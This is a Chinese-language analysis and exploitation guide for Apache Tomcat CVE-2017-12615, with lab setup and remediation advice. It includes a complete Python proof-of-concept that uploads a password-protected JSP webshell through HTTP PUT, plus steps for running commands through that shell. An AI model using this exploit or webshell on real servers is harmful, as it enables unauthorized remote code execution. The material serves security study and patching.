Tomcat远程代码执行漏洞分析与利用
字数 1289 2025-08-18 11:36:57
Apache Tomcat CVE-2017-12615 远程代码执行漏洞分析与利用指南
漏洞概述
漏洞编号: CVE-2017-12615
漏洞类型: 远程代码执行
影响范围: Apache Tomcat 7.0.0 - 7.0.81
严重程度: 高危
披露日期: 2017年9月19日
漏洞描述
当Tomcat运行在Windows主机上且启用了HTTP PUT请求方法时,攻击者可以通过构造特殊的请求向服务器上传包含任意代码的JSP文件,从而导致任意代码执行。
漏洞原理
该漏洞的核心在于Tomcat对PUT请求处理不当,特别是在Windows环境下:
- 当
readonly参数被设置为false时,Tomcat允许通过PUT方法上传文件 - 攻击者可以利用Windows文件系统特性绕过安全限制:
- 使用
/结尾的URL(如test.jsp/)绕过JSP文件检测 - 或者使用NTFS备用数据流(如
test.jsp::$DATA)
- 使用
环境搭建
受影响版本安装
- 下载Tomcat 7.0.81版本
- 按照默认设置完成安装
漏洞环境配置
- 定位Tomcat配置文件:
conf/web.xml - 找到
DefaultServlet配置部分 - 修改
readonly参数为false:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
- 重启Tomcat服务使配置生效
漏洞利用
利用前提条件
- 目标Tomcat版本在7.0.0-7.0.81范围内
- HTTP PUT方法已启用
- 目标系统为Windows
利用步骤
-
检测PUT方法是否启用:
- 发送OPTIONS请求检查
Allow头是否包含PUT方法
- 发送OPTIONS请求检查
-
上传恶意JSP文件:
- 使用PUT方法上传包含恶意代码的JSP文件
- 利用Windows文件系统特性绕过限制
利用代码(POC)
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and headers['allow'].find('PUT') > 0:
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
# 或者使用: url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request(method='PUT', url=url, body=body)
res = conn.getresponse()
if res.status == 201:
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204:
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
利用过程
- 执行POC脚本:
python poc.py <target_ip:port> - 脚本会返回上传的JSP webshell地址
- 访问webshell并执行命令:
- 参数:
pwd=023(密码) - 参数:
cmd=<command>(要执行的命令)
- 参数:
漏洞修复
临时解决方案
- 禁用PUT方法:
- 修改
conf/web.xml,确保readonly参数设置为true - 或完全移除PUT方法支持
- 修改
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
- 配置安全限制:
- 在
conf/web.xml中添加安全约束,限制HTTP方法
- 在
永久解决方案
升级到Tomcat 7.0.82或更高版本,该版本已完全修复此漏洞。
补充说明
- 该漏洞在7.0.79版本中首次修复,但修复不完全,7.0.81版本仍受影响
- 漏洞利用仅限于Windows系统,因为利用了Windows文件系统的特性
- 在实际渗透测试中,应确保获得合法授权后再进行测试
参考链接
- Apache Tomcat官方安全公告
- CVE官方记录:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12615
- NVD漏洞详情:https://nvd.nist.gov/vuln/detail/CVE-2017-12615